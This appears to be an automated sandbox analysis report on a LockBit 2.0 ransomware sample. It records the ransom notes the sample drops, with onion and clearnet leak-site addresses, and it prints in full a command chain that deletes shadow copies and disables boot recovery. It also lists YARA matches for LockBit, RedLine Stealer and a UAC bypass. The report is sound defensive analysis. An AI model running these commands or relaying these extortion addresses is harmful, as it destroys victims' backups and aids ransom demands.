Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	File dropped: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\hu-hu\Restore-My-Files.txt -> lockbit 2.0 ransomwareyour data are stolen and encryptedthe data will be published on tor website http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion and https://bigblog.at if you do not pay the ransomyou can contact us and decrypt one file for free on these tor siteshttp://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onionhttp://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onionorhttps://decoding.atdecryption id: 8e5bb08f19aa7b0a32cc92b22e043ed8
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	File dropped: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\nb-no\Restore-My-Files.txt -> lockbit 2.0 ransomwareyour data are stolen and encryptedthe data will be published on tor website http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion and https://bigblog.at if you do not pay the ransomyou can contact us and decrypt one file for free on these tor siteshttp://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onionhttp://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onionorhttps://decoding.atdecryption id: 8e5bb08f19aa7b0a32cc92b22e043ed8
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	File dropped: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\hr-hr\Restore-My-Files.txt -> lockbit 2.0 ransomwareyour data are stolen and encryptedthe data will be published on tor website http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion and https://bigblog.at if you do not pay the ransomyou can contact us and decrypt one file for free on these tor siteshttp://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onionhttp://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onionorhttps://decoding.atdecryption id: 8e5bb08f19aa7b0a32cc92b22e043ed8
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	File dropped: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\ko-kr\Restore-My-Files.txt -> lockbit 2.0 ransomwareyour data are stolen and encryptedthe data will be published on tor website http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion and https://bigblog.at if you do not pay the ransomyou can contact us and decrypt one file for free on these tor siteshttp://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onionhttp://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onionorhttps://decoding.atdecryption id: 8e5bb08f19aa7b0a32cc92b22e043ed8
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	File dropped: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\ko-kr\Restore-My-Files.txt -> lockbit 2.0 ransomwareyour data are stolen and encryptedthe data will be published on tor website http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion and https://bigblog.at if you do not pay the ransomyou can contact us and decrypt one file for free on these tor siteshttp://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onionhttp://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onionorhttps://decoding.atdecryption id: 8e5bb08f19aa7b0a32cc92b22e043ed8
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	File dropped: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\ja-jp\Restore-My-Files.txt -> lockbit 2.0 ransomwareyour data are stolen and encryptedthe data will be published on tor website http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion and https://bigblog.at if you do not pay the ransomyou can contact us and decrypt one file for free on these tor siteshttp://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onionhttp://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onionorhttps://decoding.atdecryption id: 8e5bb08f19aa7b0a32cc92b22e043ed8

Deletes shadow drive data (may be related to ransomware)

Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /all /quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic shadowcopy delete
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
Source: Pna3t7DeL3.exe, 00000000.00000003.273797730.0000000002EFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
Source: Pna3t7DeL3.exe, 00000000.00000003.273797730.0000000002EFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no#H
Source: Pna3t7DeL3.exe, 00000000.00000003.274584841.0000000002F2D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: runascmd.exe/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
Source: Pna3t7DeL3.exe, 00000000.00000002.520977555.0000000002EF1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
Source: Pna3t7DeL3.exe, 00000000.00000003.273797730.0000000002EF0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
Source: Pna3t7DeL3.exe, 00000000.00000002.520977555.0000000002EFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
Source: Pna3t7DeL3.exe, 00000000.00000002.520977555.0000000002EFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no#H
Source: Pna3t7DeL3.exe, 00000000.00000003.273717305.0000000002F27000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: runascmd.exe/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
Source: Pna3t7DeL3.exe, 00000000.00000002.525513894.000000000632E000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: /c vssadmin Delete Shadows /All /Quiet
Source: Pna3t7DeL3.exe, 00000000.00000002.525513894.000000000632E000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: I`pI`pI#cmd.exe;/c vssadmin Delete Shadows /All /Quiet
Source: Pna3t7DeL3.exe, 00000000.00000002.525513894.000000000632E000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
Source: Pna3t7DeL3.exe, 00000000.00000002.525513894.000000000632E000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no"L:NVolume Shadow Copy & Event log clean
Source: Pna3t7DeL3.exe, 00000000.00000003.273335561.0000000002F14000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: runascmd.exe/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
Source: Pna3t7DeL3.exe, 00000000.00000003.325059399.0000000002EFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
Source: Pna3t7DeL3.exe, 00000000.00000003.325059399.0000000002EFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no#H
Source: Pna3t7DeL3.exe, 00000000.00000003.325059399.0000000002EFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: /c vssadmin Delete Shadows /All /Quiet;FC
Source: Pna3t7DeL3.exe, 00000000.00000003.325059399.0000000002EFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: /c vssadmin Delete Shadows /All /Quiet
Source: Pna3t7DeL3.exe, 00000000.00000003.325059399.0000000002EF0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
Source: Pna3t7DeL3.exe, 00000000.00000003.325023219.0000000002EDA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /all /quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic shadowcopy delete
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /all /quiet
Source: vssadmin.exe, 00000005.00000002.288516666.000001FF64370000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Users\user\Desktop\C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet vssadmin delete shadows /all /quiet Winsta0\Default
Source: vssadmin.exe, 00000005.00000002.288516666.000001FF64370000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vssadmin delete shadows /all /quiet
Source: vssadmin.exe, 00000005.00000002.289667128.000001FF645C5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vssadmindeleteshadows/all/quietJ

Found potential ransomware demand text

Source: annots.api.lockbit.0.dr	String found in binary or memory: ?_Unlock@?$basic_streambuf@DU?$char_traits@D@std@@@std@@UAEXXZ
Source: ppklite.api.lockbit.0.dr	String found in binary or memory: ?_Unlock@?$basic_streambuf@DU?$char_traits@D@std@@@std@@UAEXXZ

System Summary

Malicious sample detected (through community Yara rule)

Source: 18.3.Pna3t7DeL3.exe.4940000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 18.3.Pna3t7DeL3.exe.4940000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 Author: unknown
Source: 18.3.Pna3t7DeL3.exe.4940000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 Author: unknown
Source: 34.2.Pna3t7DeL3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 34.2.Pna3t7DeL3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 Author: unknown
Source: 34.2.Pna3t7DeL3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 Author: unknown
Source: 34.2.Pna3t7DeL3.exe.4910e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 34.2.Pna3t7DeL3.exe.4910e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 Author: unknown
Source: 34.2.Pna3t7DeL3.exe.4910e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 Author: unknown
Source: 18.3.Pna3t7DeL3.exe.4940000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 18.3.Pna3t7DeL3.exe.4940000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 Author: unknown
Source: 18.3.Pna3t7DeL3.exe.4940000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 Author: unknown
Source: 10.2.Pna3t7DeL3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 10.2.Pna3t7DeL3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 Author: unknown
Source: 10.2.Pna3t7DeL3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 Author: unknown
Source: 34.2.Pna3t7DeL3.exe.4910e67.1.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 34.2.Pna3t7DeL3.exe.4910e67.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 Author: unknown
Source: 34.2.Pna3t7DeL3.exe.4910e67.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 Author: unknown
Source: 18.2.Pna3t7DeL3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 18.2.Pna3t7DeL3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 Author: unknown
Source: 18.2.Pna3t7DeL3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 Author: unknown
Source: 10.2.Pna3t7DeL3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 10.2.Pna3t7DeL3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 Author: unknown
Source: 10.2.Pna3t7DeL3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 Author: unknown
Source: 0.2.Pna3t7DeL3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 0.2.Pna3t7DeL3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 Author: unknown
Source: 0.2.Pna3t7DeL3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 Author: unknown
Source: 18.2.Pna3t7DeL3.exe.4840e67.1.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 18.2.Pna3t7DeL3.exe.4840e67.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 Author: unknown
Source: 18.2.Pna3t7DeL3.exe.4840e67.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 Author: unknown
Source: 18.2.Pna3t7DeL3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 18.2.Pna3t7DeL3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 Author: unknown
Source: 18.2.Pna3t7DeL3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 Author: unknown
Source: 10.3.Pna3t7DeL3.exe.49c0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 10.3.Pna3t7DeL3.exe.49c0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 Author: unknown
Source: 10.3.Pna3t7DeL3.exe.49c0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 Author: unknown
Source: 26.2.Pna3t7DeL3.exe.48c0e67.1.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 26.2.Pna3t7DeL3.exe.48c0e67.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 Author: unknown
Source: 26.2.Pna3t7DeL3.exe.48c0e67.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 Author: unknown
Source: 26.2.Pna3t7DeL3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 26.2.Pna3t7DeL3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 Author: unknown
Source: 26.2.Pna3t7DeL3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 Author: unknown
Source: 0.3.Pna3t7DeL3.exe.49b0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 0.3.Pna3t7DeL3.exe.49b0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 Author: unknown
Source: 0.3.Pna3t7DeL3.exe.49b0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 Author: unknown
Source: 34.2.Pna3t7DeL3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 34.2.Pna3t7DeL3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 Author: unknown
Source: 34.2.Pna3t7DeL3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 Author: unknown
Source: 26.2.Pna3t7DeL3.exe.48c0e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 26.2.Pna3t7DeL3.exe.48c0e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 Author: unknown
Source: 26.2.Pna3t7DeL3.exe.48c0e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 Author: unknown
Source: 26.3.Pna3t7DeL3.exe.49c0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 26.3.Pna3t7DeL3.exe.49c0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 Author: unknown
Source: 26.3.Pna3t7DeL3.exe.49c0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 Author: unknown
Source: 10.3.Pna3t7DeL3.exe.49c0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 10.3.Pna3t7DeL3.exe.49c0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 Author: unknown
Source: 10.3.Pna3t7DeL3.exe.49c0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 Author: unknown
Source: 26.3.Pna3t7DeL3.exe.49c0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 26.3.Pna3t7DeL3.exe.49c0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 Author: unknown
Source: 26.3.Pna3t7DeL3.exe.49c0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 Author: unknown
Source: 10.2.Pna3t7DeL3.exe.48c0e67.1.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 10.2.Pna3t7DeL3.exe.48c0e67.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 Author: unknown
Source: 10.2.Pna3t7DeL3.exe.48c0e67.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 Author: unknown
Source: 0.2.Pna3t7DeL3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 0.2.Pna3t7DeL3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 Author: unknown
Source: 0.2.Pna3t7DeL3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 Author: unknown
Source: 34.3.Pna3t7DeL3.exe.4a10000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 34.3.Pna3t7DeL3.exe.4a10000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 Author: unknown
Source: 34.3.Pna3t7DeL3.exe.4a10000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 Author: unknown
Source: 0.3.Pna3t7DeL3.exe.49b0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 0.3.Pna3t7DeL3.exe.49b0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 Author: unknown
Source: 0.3.Pna3t7DeL3.exe.49b0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 Author: unknown
Source: 0.2.Pna3t7DeL3.exe.48b0e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 0.2.Pna3t7DeL3.exe.48b0e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 Author: unknown
Source: 0.2.Pna3t7DeL3.exe.48b0e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 Author: unknown
Source: 10.2.Pna3t7DeL3.exe.48c0e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 10.2.Pna3t7DeL3.exe.48c0e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 Author: unknown
Source: 10.2.Pna3t7DeL3.exe.48c0e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 Author: unknown
Source: 18.2.Pna3t7DeL3.exe.4840e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 18.2.Pna3t7DeL3.exe.4840e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 Author: unknown
Source: 18.2.Pna3t7DeL3.exe.4840e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 Author: unknown
Source: 34.3.Pna3t7DeL3.exe.4a10000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 34.3.Pna3t7DeL3.exe.4a10000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 Author: unknown
Source: 34.3.Pna3t7DeL3.exe.4a10000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 Author: unknown
Source: 26.2.Pna3t7DeL3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 26.2.Pna3t7DeL3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 Author: unknown
Source: 26.2.Pna3t7DeL3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 Author: unknown
Source: 0.2.Pna3t7DeL3.exe.48b0e67.1.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 0.2.Pna3t7DeL3.exe.48b0e67.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 Author: unknown
Source: 0.2.Pna3t7DeL3.exe.48b0e67.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 Author: unknown
Source: 00000012.00000002.351105527.0000000002C1C000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000A.00000002.330612625.0000000002E2C000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000001A.00000002.349816093.0000000002CCC000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.520342340.0000000002E46000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000012.00000003.328749444.0000000004940000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 00000012.00000003.328749444.0000000004940000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_89e64044 Author: unknown
Source: 00000012.00000003.328749444.0000000004940000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_a1c60939 Author: unknown
Source: 00000022.00000002.371381797.0000000002C0C000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000022.00000003.369188083.0000000004A10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 00000022.00000003.369188083.0000000004A10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_89e64044 Author: unknown
Source: 00000022.00000003.369188083.0000000004A10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_a1c60939 Author: unknown
